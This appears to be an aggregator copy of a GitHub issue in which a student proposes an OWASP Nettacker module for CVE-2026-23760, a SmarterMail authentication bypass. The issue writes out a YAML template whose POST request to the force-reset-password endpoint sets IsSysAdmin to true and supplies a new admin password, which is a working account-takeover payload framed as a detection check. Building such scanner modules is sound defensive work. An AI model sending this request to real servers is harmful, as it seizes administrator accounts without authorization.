OWASP / OWASP/Nettacker

Proposal: Add KEV module for CVE-2026-23760 (SmarterMail Auth Bypass) - GSoC 2026

Open
#1,377 0 comments 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

Dominant language
Python
Stars
5.6k
Forks
1.2k
Avg merge
1d 21h
Merged PRs (30d)
16

Description

Hello @samstepanyan, @Ali-Razmjoo, and @arkadiyt!

My name is Cavin, a 3rd-year student at Politeknik Siber dan Sandi Negara. I am highly interested in contributing to OWASP Nettacker for GSoC 2026, specifically focusing on the "Implement more modules (CISA KEV CVEs)" project idea. Since the Slack invite link is currently inactive, I wanted to reach out and propose my first contribution here.

As a proof-of-concept for my GSoC proposal, I would like to create a module for a recent critical CISA KEV: CVE-2026-23760 (SmarterTools SmarterMail Authentication Bypass, CVSS 9.3).

This vulnerability allows unauthenticated attackers to reset the system administrator password via the /api/v1/auth/force-reset-password endpoint.

Here is the initial draft of the declarative YAML logic I plan to implement:

info:
  name: SmarterMail Auth Bypass (CVE-2026-23760)
  author: Cavin Agustinus Sitorus
  severity: critical
  description: Authentication bypass vulnerability in SmarterMail's password reset API.
  reference:
    - [https://labs.watchtowr.com/attackers-with-decompilers-strike-again-smartertools-smartermail-wt-2026-0001-auth-bypass/](https://labs.watchtowr.com/attackers-with-decompilers-strike-again-smartertools-smartermail-wt-2026-0001-auth-bypass/)

requests:
  - method: POST
    path: "/api/v1/auth/force-reset-password"
    headers:
      Content-Type: "application/json"
    body: '{"IsSysAdmin":"true","OldPassword":"watever","Username":"admin","NewPassword":"NewPassword123!@#","ConfirmPassword":"NewPassword123!@#"}'

matchers:
  - type: word
    words:
      - '"success":true'
      - '"resultCode":200'
    condition: and
  - type: status
    status:
      - 200

Contributor guide

Open the contributing guide

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Research direction

No repository file or test is named; start by locating the existing declarative YAML module structure and its validation or test entry point. Use the issue's CVE-2026-23760 endpoint, request, and matchers as the proposed scope, with completion shown by the module being accepted and its detection logic validated.

Written by the indexing model from the issue text.

Assessment

Tech stack
python
Domain
security
Issue type
Feature
Difficulty
3/5
Estimated time
1-2 days
Activity status
Stale
Clarity
Mostly clear
Newbie friendliness
38/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.